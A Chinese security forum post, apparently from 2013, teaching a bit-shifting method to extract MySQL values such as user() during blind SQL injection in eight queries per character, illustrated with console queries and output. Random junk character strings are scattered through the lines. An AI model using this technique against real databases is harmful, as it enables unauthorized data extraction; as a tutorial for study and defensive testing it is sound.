找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1957|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位0 [! i2 f  }! s2 T5 K% \
; q7 n1 H; g) @9 T7 D  {' B
, D5 ?, w. o& v, x. \

& z2 h0 d8 s. O- ?% v9 U+ H0 C下面将以查询mysql数据库当中user()的第一位为例:* @* Z' M1 e# a* V  G

" W3 Z3 g# B/ x' r( g5 Y- }8 v. c
4 z  N" o! b) j" r2 j+ }+ `+ E* f! K6 k8 A4 z* A; `3 ~4 i
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1): E$ p! f3 j& C# x1 l
: k* u; p/ f+ @( x$ G( {* n$ N
" u- L, C1 q8 Q) N7 h

5 D! w/ l! D, Z7 o: e& x! z首先执行如下sql语句:
% w- q% [6 o# `9 `7 U3 |5 ]
9 w* X$ q1 u# s: ?9 v 8 C# G% e0 H3 o" E0 Y$ o- Q
  A% [" s! Q9 w+ O
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
) {' f' j/ p# n/ t% f( F: X' i, ?6 s/ u" i

* [/ Z5 s" a0 U+ `7 g9 Y0 m# N) P  {
3 l- |0 @; y( M9 `  y! L' @我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
$ Y# m6 O5 {! Z  {7 K3 x8 I; q4 i" B  J2 x0 u& r

8 N" Y/ J3 ~6 A( a
* W) T' J+ k# K# J" z1 v+ A第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为18 r) x0 m! z, I" G9 y
0 s3 g6 I: h$ g
5 s* `7 m, X6 k4 K" N. t8 p* I

1 g: i- l4 G7 n9 O如果运算结果为1,说明第一位为0,不为1
5 A/ F4 E9 x1 e* ^. o7 t* N- M  X( M* S6 {% P) G+ W" p' Y
% Z2 H8 o- C1 m) R
7 M/ _- a0 g5 _% F( Y
+————————————–+
% ?" x6 n; K) c' [# t5 m+ R* e; v0 c& V6 k* e. P
| (ascii((substr(user(),1,1))) >> 7)=0 |
* H' N: H& j. S1 F) {6 g8 C5 @
/ u7 f6 S& O3 m1 m3 x/ N9 w+————————————–+8 x" A! @  s% Q

. M6 b, Z, W3 }& X7 s/ D( `& x| 1 |7 t8 j6 N9 Z1 v$ F
: h8 L+ {, v& v0 h7 X8 r
+————————————–+1 K# S% u6 k1 Y; E) X$ X0 U

6 s0 M- c1 t; Y* t1 row in set (0.00 sec)
! _1 l; i# D2 w8 k5 n
/ a2 @$ b- k3 L% f+ ?0 ?: s) Z这样我们就确定这个8bit的ascii的第一位为0
) C" u3 ?+ X$ b0 S. f  v2 U" _4 E: _+ g5 ~# [! A# O. [7 {
7 ?; E! z/ @8 L: o

0 z; h8 o' m3 `; Y, o( |, u+ n第二次我们来做6次右偏移来确定前两位' j( m5 G, x4 P3 [8 X
" u% z% w" K% P

7 [$ U9 q$ U, ]& Y/ B! f0 |8 x0 w& P3 d2 i
前两位可能是01或00,即依然可以与0做比较,
* U# i) g* p3 n: e( ^2 e0 A' d# \/ J0 M* ~: M: i
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
' S: ?# J/ `2 [) A9 Z/ f) C2 o
) `  ]' g/ D+ C) I1 w; e+————————————–+9 o% z& S' @. ^$ l6 h& q% j, J

( W" d1 T9 t- || (ascii((substr(user(),1,1))) >> 6)=0 |0 F) p1 Y0 l* J0 k# B% y; D$ M
: z; ~2 L: @7 n; v/ _: x& O+ }
+————————————–+8 d' q9 z4 h( `  t& Z0 p

% ]5 m* `" q& [& _7 U| 0 |
. T# X8 G  G" u# L, U) R
% q: L! [6 C1 }1 S+————————————–+" q+ t2 Z0 M9 c+ m

- p; e$ ~% c! q+ T; F1 row in set (0.00 sec)
% P  z+ h  `! q5 G/ ]7 O% g: O& V

  @) a7 l1 B" g" n+ o* }* D4 }) V* I8 ]5 G, i' c8 T8 S# O; A
结果为0,即第二位为1) N' T3 N! G  a: r* u

- h/ `0 n* o5 E2 |4 I1 C6 I . ^5 x* q! i0 ]6 @. W/ s
( p1 n" l+ G# X5 d. j
开始猜测前三位为010或011% z% ]6 {, z, n6 `7 ^
+ h, K; A9 c6 W0 a: U9 y$ y7 Z9 R2 ?8 L- t

( t3 L2 O7 p  Y! `$ l: o  l0 u# x0 ^0 |! d# t; \
让我们看看010和011的ascii码是多少
7 ]9 g! b  b8 m) n+ D
& S, Z4 E. \2 V! u: o; j* n* P 0 _( s! ~& K2 y8 N/ r

& R2 G3 |  H, u分别查询select b’011′ select b’010′9 Z8 x2 `# J( i) A  U3 |$ C# t
5 p: c1 @: {' d5 s! j. T

) t* _- {$ Q5 O. J( V6 b+ V' ~: W' r  e/ s, C! B
获得结果 010 = 2 011 = 3! r0 U  F0 M" g' k1 }8 ~  z

  F1 y$ r9 T0 \- N5 z& E
% {+ e8 i8 a4 `9 {2 }+ A
% _# {" ~7 V. v执行如下sql:% G$ T0 H* L- c* v" N  i

' D' W) V5 S; G/ \1 t
: D+ `) m% V) x8 J( O6 ]" P  X2 D& l
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;9 D# q3 a% v, R; |* W4 v

5 ~. m7 ]2 v2 \0 j2 `- d9 g2 E+————————————–+
! K4 x' L; Z0 Q
. l* d* h, N# o9 H0 x( v$ ]8 a| (ascii((substr(user(),1,1))) >> 5)=2 |5 X7 C' m2 O9 a' B. o6 S: |

4 v2 E0 o+ }6 W2 k2 d$ w/ K8 M+————————————–+
6 r2 e) k8 @) f4 g" T$ G1 g' f  u4 ], ~, I# H4 N- S
| 0 |
& Z7 \0 ~9 S7 @$ ?" }: o& f4 |; ]: ^% \
+————————————–+( w" h" b; \3 m  q# u% t# @

7 Y9 U6 c" G$ y! G* j0 {% r即前三位不为010,而是011
  ?+ t/ C3 ?, d4 Q8 h" d5 ?7 j3 V( @# \! H6 m- g, Z: P# h/ Y4 D

  n, P$ t$ a, A( m2 w' C# d
/ U, |, d4 w  ^1 n, e直到获得最后一位
# X. q' I" v( V' D, g; I* F: ~1 p, r; C5 _2 }$ u
4 a. G" Q5 Z+ q, ~

; n) Q  n8 w& L0 t. e最终结果为:01110010
* `+ I( ]( m0 W1 M! |# S
& A% r6 V# s) ^* {" h " g6 m7 ^$ `+ @- ~/ H

7 I' m  }; e  p( `% G1 d3 r转换一下:( L; @3 F$ G. h+ c! g: P
+ w0 l) C, C! _0 J& Z% ]9 G9 o0 A
! M: M: K0 a' r% b. Q" o0 o0 x
: r1 }* u6 D: E) d/ Y, y' x5 q5 ?
select b’01110010′6 K) F4 w; E- D; |

/ V0 F; L7 e& E  e7 q * A* f: T% f  W% ^( g8 ?
4 ^% [- |. M7 B
查询结果9 Z/ q; F2 x: c7 Y* V0 B. R& _, o

! w6 A, P& T" b* _& `' }+ }' s1 { - D) J! T2 I1 X) w, ^
8 O* l1 r9 }) {
+————-+9 n! _9 {0 h& X% A
  d- h% y; U7 \! M
| b’01110010′ |' M. r' Q8 T/ G/ h9 y

: t$ Y) j( Q' ]( h1 s: T+————-+
' i' Y8 R0 H- W" @6 Q9 c+ b
* x9 k* E# c% O. U% R( p- p- L| r |2 _0 F( E, S) e  J" O

. P* S( `$ T- W5 m; `+————-+9 ~# M. ?* R- ~+ e) {, q
, Y* z# Y1 e$ t) {! v2 w
1 row in set (0.00 sec)
. f: y: ~! s* u. h, c8 _4 z4 B# {0 Z7 X7 [9 q0 H% c

8 D* Z" {; b6 h& c4 a  Y. r% k5 p# o5 w/ o/ m" N9 ]
这样我们就获得了user()的第一位.其它位依此类推
5 ]+ ?/ U# Y/ o. F. J1 M
/ D0 s: u5 C* G1 P0 C" d  [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表